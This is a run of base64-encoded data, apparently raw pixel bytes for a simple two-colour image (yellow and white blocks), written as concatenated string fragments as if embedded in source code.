S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//Lv + 0v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////7Oe8/87CVv/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//f1o////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//y79L///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////1893/0sZi/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//l36X///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/8u/S//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////z79P/f1o//y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/87CVv/v68f///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L//Lv0v////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////Lv0v/Yznj/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/+Lamv/8+/T///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////////////8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//y79L///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////Lv + 0v/b0oP/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Owlb/4tqa//n36f////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/8u/S//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////n36f/o47D/29KD/87CVv/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/1cpt/+Lamv/v68f///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L//Lv0v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////+ffp//Lv0v/s57z/5d+l/+Xfpf/l36X/5d+l//Lv + 0v/y79L///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//y79L///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/8u/S//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//Lv0v////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//y79L///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/8u/S//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//Lv0v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//y79L///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/8u/S//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + 